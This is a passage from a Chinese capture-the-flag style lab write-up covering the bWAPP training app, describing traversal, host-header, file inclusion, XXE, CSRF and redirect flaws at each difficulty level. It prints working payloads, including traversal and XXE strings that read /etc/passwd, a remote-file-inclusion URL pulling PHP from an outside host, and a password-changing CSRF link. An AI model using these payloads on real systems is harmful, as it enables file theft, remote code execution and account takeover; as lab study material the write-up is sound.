medium 级别:页面表单中不再包含隐藏的价格标签,但是后端依旧会优先考虑 POST 中携带 ticket_price 变量。
hight 级别:价格 ticket_price 变量直接在后端全局代码中当做常量赋值,故 POST 中携带的 ticket_price 变量不会再影响到官方预定的价格。
A5 - Security Misconfiguration(安全配置错误)
偏系统应用,且靶机环境不符合试验。
A6 - Sensitive Data Exposure(敏感数据暴露)
偏系统应用,且靶机环境不符合试验。
A7 - Missing Functional Level Access Control(缺少功能级别访问控制)
(A7-1)Directory Traversal - Directories
访问地址:http://192.168.56.19/bWAPP/directory_traversal_2.php?directory=documents
low 级别:后端对 GET 请求提交的 directory 变量不做处理。故可以通过载荷 directory=../../../../etc
对 etc 目录下的文件名称进行遍历查看(但无法查看文本文件内容)。
medium 级别:后端对 GET 请求提交的 directory 变量进行 directory_traversal_check_2($data)
自定义函数(该函数会对../、..\\、/..、\..、.
字串进行匹配检查)的处理。此时可以通过载荷 directory=admin
遍历 bwapp 根目录下其他目录下的文件名称。
hight 级别:后端对 GET 请求提交的 directory 变量进行 directory_traversal_check_3($user_path,$base_path="./documents")
自定义函数(该函数会对输入的路径变量首先进行 realpath() 的处理,然后再进行 $base_path
字串是否包含在 $user_path
字串之中的匹配检查)的处理。此时 directory 参数的值便只能是 documents 或 documents/subdir 这样的格式,当然如果 documents 目录确实还存在像如 subdir 这样的子目录的话。
(A7-2)Directory Traversal - Files
访问地址:http://192.168.56.19/bWAPP/directory_traversal_1.php?page=message.txt
low 级别:后端对 GET 请求提交的 page 变量不做处理,直接展示其文本内容。故可以通过载荷 page=../../../../etc/passwd
的方式直接查看其文本内容。
medium 级别:后端对 GET 请求提交的 page 变量进行 directory_traversal_check_1($file)
自定义函数(该函数会对../、..\\、/..、\..
字串进行匹配检查)的处理。此时可以通过载荷 page=admin/index.php
这样的方式查看 bwapp 根目录下其他目录下文本文件的内容。
hight 级别:对带入的 page 参数值进行 directory_traversal_check_3($file)
自定义函数(由于只带入了一个参数,故其效果和 medium 的效果类似)的处理。此时可以通过 page=admin/index.php
这样的方式查看 bwapp 根目录下其他目录下文本文件的内容。
(A7-3)Host Header Attack (Cache Poisoning)
访问地址:http://192.168.56.19/bWAPP/hostheader_1.php
low 级别:后端直接将 HTTP 请求头中的 Host 参数作为一个变量拼接为超链接返回到响应的 html 页面中。故可以通过修改 Header 参数为 Host:www.baidu.com#
来实现篡改响应页面中的超链接指向。【若要达到代理服务器缓存毒化,则需要重复多次发起相同的毒化请求,直到代理服务器中的缓存结果被成功替换,如此则可影响大范围的访问客户端。】
medium/hight 级别:后端对于响应要返回的 HTML 中的 js、css 等资源链接使用的是相对路径的方式,而非 low 级别的绝对 URL 链接格式,因此也就不存在 Host 被攻击的风险。
(A7-4)Host Header Attack (Reset Poisoning)
访问地址:http://192.168.56.19/bWAPP/hostheader_2.php
low 级别:在 web 端输入账户对应的邮箱进行重置密码时,后端会进行重置链接的拼接生成,此时后端会根据请求头 Host 参数的值作为主机变量拼接到了重置链接中,并邮件告知客户需要点击该链接进行密码的重置动作。此时可以通过篡改 Host 的值为攻击机的 http 服务器地址,那么如果用户点击邮件链接,链接中相关的 token 等重要参数便会被攻击机所获取,然后攻击机拼接正确的主机名便可以实现重置别人密码的动作。【涉及邮件发送功能,此试验无法在靶机中复现。】
medium/hight 级别:后端拼接重置链接时,其中的主机变量已手动指定并未从 Host 参数中去获取。
注意:并非只要是 Host 攻击就叫缓存毒化,本例的 Reset Poisoning 所要生成的链接是动态的,所以不符合缓存毒化的特征,而符合特征的则是那些类静态页面。
(A7-5)Remote & Local File Inclusion (RFI/LFI)
访问地址:http://192.168.56.19/bWAPP/rlfi.php?language=lang_en.php&action=go
此类漏洞特征:平时只在代码开头出现的包含指定文件函数,出现在了局部代码之中且包含的是一个动态变量而非静态常量。
low 级别:后端对 GET 请求提交上来的 language 变量不做处理,直接 include($language)
包含。故可以通过载荷 language=http://1.1.1.1/test.php
或 language=../../../../etc/passwd
的方式进行远程包含或本地包含,且包含的文件后缀类型不受限制。
medium 级别:后端对 GET 请求提交上来的 language 变量进行 .php 后缀拼接处理后包含。此时依旧可以通过载荷 language=http://1.1.1.1/test
或 language=../admin/index
的方式进行远程包含或本地包含,只不过被包含的文件被限制为 php 类型。
hight 级别:后端对 GET 请求提交上来的 language 变量先进行 .php 后缀拼接处理,然后再进行白名单关键字的匹配检查,只有匹配中白名单中的 php 文件才能被包含处理。此时文件包含漏洞将不再存在。
(A7-6)Restrict Device Access
访问地址:http://192.168.56.19/bWAPP/restrict_device_access.php
low/medium/hight 级别:对页面请求头中的 User-Agent 参数值进行白名单关键字 "iPhone", "iPad", "iPod", "Android" 的检查。此时可以通过 User-Agent switcher 切换器去修改 User-Agent 参数为 Android 的设备,便可以访问到被拒绝的页面。
(A7-7)Restrict Folder Access
访问地址:http://192.168.56.19/bWAPP/restrict_folder_access.php
low 级别:页面所呈现的文件下载链接是 http://192.168.56.19/bWAPP/documents/bWAPP_intro.pdf
的格式。此时不管 bWAPP 是否登录,只要爆破发现 http://192.168.56.19/bWAPP/documents/
便可下载这些文件。
medium/hight 级别:页面所呈现的文件下载链接是 http://192.168.56.19/bWAPP/restrict_folder_access.php?file=documents/bWAPP_intro.pdf
的格式,点击链接时后端 php 会对带入的 file 参数进行 directory_traversal_check_3($file, $base_path = "./documents")
函数的检查,然后通过 php 文件下载代码将请求的文件内容本地读取然后传输给请求方。
此等级下无法再通过爆破发现 http://192.168.56.19/bWAPP/documents/
便能够下载这些文件,因为该页面在被请求时服务端便初始化检查并在 documents 目录下创建 .htaccess 文件(文本规则的内容是 Deny from all),使得通过 http://192.168.56.19/bWAPP/documents/
这样的访问将被拒绝。
(A7-9)XML External Entity Attacks (XXE)
访问地址:http://192.168.56.19/bWAPP/xxe-1.php【点击按钮之后,实际请求的地址是 http://192.168.56.19/bWAPP/xxe-2.php 】
low 级别:后端直接读取 POST 请求中携带的 XML 格式的内容,然后通过 simplexml_load_string($body)
函数进行 XML 数据的加载,并将加载的数据不做处理分别读取赋值给 login、secret 变量,在经过 SQL 语句拼接之后,最后将 login 变量的值不做处理返回到 POST 响应中。此时可以通过 burpsuite 替换 POST 请求中的 XML 内容为 <!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "file:////etc/passwd">]><reset><login>&bWAPP;</login><secret>blah</secret></reset>
(注意:标黑的这串 XML 标签格式需根据实际调用的 XML 实体变量的情况去调整,此处调用的实体变量是 login)来读取靶机系统 /etc/passwd 文件中的内容。
medium/hight 级别:后端直接读取 POST 请求中携带的 XML 格式的内容,然后通过 libxml_disable_entity_loader(true); $xml =simplexml_load_string($body)
函数进行 XML 数据的加载,然后再通过 $login = $_SESSION["login"];$secret = $xml->secret;
给两变量赋值,此时 $login 变量的值是通过 PHP 会话变量赋值的,于是返回的 POST 响应中的用户的值再也不会受到 POST 请求中提供的 login 变量的影响了。此时 XXE 注入漏洞将不再存在。
A8 - Cross-Site Request Forgery (CSRF 跨站请求伪造)
此类漏洞特征:一些重要的页面操作,只使用一个很简单的请求便完成了,没有使用 token 或验证码这些防滥用技术。
(A8-1)Cross-Site Request Forgery (Change Password)
访问地址:http://192.168.56.19/bWAPP/csrf_1.php
low 级别:更改密码表单只需要将新密码和确认密码输入,然后提交即可实现密码更改动作,同时表单请求方法也是 GET 方法。此时可以让用户点击通过构造的 URL 链接 http://192.168.56.19/bWAPP/csrf_1.php?password_new=123&password_conf=123&action=change
,即可让客户在不知觉中完成密码的更改。(注意:必须要让用户在登录 web 的状态下点解构造链接,否则即便点击了也不会成功改密。这主要是为了借用用户的登录 cookies 变量,方便在请求的时候带入。)
medium/hight 级别:更改密码表单额外新增了当前密码输入框,后端收到请求后会首先检验当前密码是否正确,然后才进行新密码更改的动作。此时便无法再使用构造 URL 链接的方式实现用户无感知改密码的动作,除非已知晓当前密码。
(A8-2)Cross-Site Request Forgery (Change Secret)
访问地址:http://192.168.56.19/bWAPP/csrf_3.php
low 级别:表单只请求输入修改密码(用户名被隐藏带入),然后提交即可,表单请求方法使用了 POST 方法。后端只是将得到的用户名和密码拼接 sql 语句上,成功执行则认为修改成功。此时可以通过修改表单用户名和密码来达到登录 A 账户修改 B 账户的效果;或通过构造一个 POST 请求的网页让用户点击即可让用户无感知改密码。
medium/hight 级别:改密表单嵌入了动态 token 值,这样的情况下后端会先验证请求 token 和会话 token 是否符合,符合之后才开始 sql 改密动作。而且这种情况下也防止了登录 A 账户可以更改 B 账户的这种情况。这种情况下也已无法通过构造简单的请求来达到用户无感知改密码的操作。
(A8-3)Cross-Site Request Forgery (Transfer Amount)
访问地址:http://192.168.56.19/bWAPP/csrf_2.php
本部分与上面的 A8-2 Cross-Site Request Forgery (Change Secret) 相似都是关于表单有无 token 的区别(无 token 的表单,很容易就被攻击方做到恶意转账的效果),区别仅在于上面表单是 POST 方法而此处是 GET 方法,故此处不再赘述。
A9 - Using Known Vulnerable Components(使用已知漏洞组件)
偏系统应用,且靶机环境不符合试验。
A10 - Unvalidated Redirects & Forwards(无效重定向&转发)
注:此类现象似乎并不能算是一种 Web 漏洞,因为其并不能造成危害。
(A10-1)Unvalidated Redirects & Forwards (1)
访问地址:http://192.168.56.19/bWAPP/unvalidated_redir_fwd_1.php
low 级别:页面表单中的下拉列表中的每个选项都直接对应其链接地址,当点击提交按钮时由于表单使用的请求方法是 GET,因此在地址栏可以直接看到 url 变量的值即是跳转的链接,而后端又会将该链接直接作为重定向地址响应给 GET 请求。
medium 级别:页面表单中的下拉列表中的每个选项对应一个数值,该数值作为 GET 请求传递给后端,后端根据该值查找对应的链接然后将其作为重定向地址响应给 GET 请求。
hight 级别:在 medium 级别的基础上又新增了一项会话销毁的功能,即当下拉选中提交 GET 请求之后,页面跳转的同时原会话的登录状态也将失效。
(A10-2)Unvalidated Redirects & Forwards (2)
访问地址:http://192.168.56.19/bWAPP/unvalidated_redir_fwd_2.php
low 级别:点击跳转按钮之后,要跳转的链接 http://192.168.56.19/bWAPP/unvalidated_redir_fwd_2.php?ReturnUrl=portal.php
。此时可以通过修改前端的按钮链接 ReturnUrl 参数实现更改。
medium/hight 级别:点击跳转按钮之后,要跳转的链接后端已指定,此时通过修改前端的按钮链接 ReturnUrl 参数已无作用。
知识碎片
(1)URL 格式说明
(2)PHP 中的全局数组包括 $_GET、$_POST、$_REQUEST、$_COOKIE、$_SESSION、$_SERVER、$_FILES、$_ENV、$_GLOBALS
,它们是预定义的超级全局变量,可在脚本的任何地方使用。$_GET
和 $_POST
处理通过 HTTP 请求传递的参数,$_REQUEST
综合了 GET、POST 和 COOKIE 数据,$_FILES
处理文件上传,$_COOKIE
存储客户端的 Cookie,$_SESSION
管理用户会话,$_SERVER
提供服务器和执行环境信息,$_ENV
访问系统环境变量,$_GLOBALS
引用所有全局变量。这些数组为开发者提供了便利的方式来处理请求、用户数据和服务器信息。
(3)PHPSESSID 的作用:多个登录用户分别同时请求相同的 php 页面,但后端依旧能够不发生混乱的按需分配各自的页面且对应页面的变量值正确不发生混乱。就是因为后端会根据请求者 cookies 中的 PHPSESSID 取其对应的 $_SESSION
数组,而每个 $_SESSION
数组中又保存着属于各自用户的变量值。【注:该值只有后端 PHP 解析器才需要读取,对于开发者来说并不需要知道】
(4)AJAX (Asynchronous JavaScript and XML)并不是一种编程语言,而是一系列技术的组合(主要就是用 JavaScript 执行异步网络请求),包括HTML、CSS、JavaScript 和 XML,用于构建更互动的Web应用。
通常一次 HTTP 请求对应一个页面,而如果要让用户留在当前页面中,同时发出新的 HTTP 请求,就必须用 JavaScript 发送这个新请求,接收到数据后,再用 JavaScript 更新页面,这样一来,用户就感觉自己仍然停留在当前页面,但是数据却可以不断地更新,这就是 AJAX。
(5)Web 各语言语句的注释和连接符号。
JavaScript 注释:单行注释//
、多行注释/**/
、语句分割;
HTML 注释:多行注释<!--test-->
CSS 注释:多行注释/**/
Mysql 注释:单行注释--
、单行注释#
、多行注释/**/
、语句分割;
(6)shtml 和 html 文件的区别。
html:是一种静态的 HTML 代码,这些文件 Web 服务器会直接提供给浏览器,然后由浏览器进行渲染。
shtml:是一种动态的 HTML 代码,这些文件在返回给浏览器之前,Web 服务器(apache、nginx)首先会进行解析执行,然后再响应给浏览器做渲染。它类似于是一种简化版的 php 动态语言,但是php 代码的解析需要 web 服务器依赖 php 组件,而shtml 则只需要 web 服务器本身支持服务器端包含指令 SSI 即可。
标签:Web,http,请求,bWAPP,192.168,靶场,php,级别 From: https://www.cnblogs.com/kqdssheng/p/18519822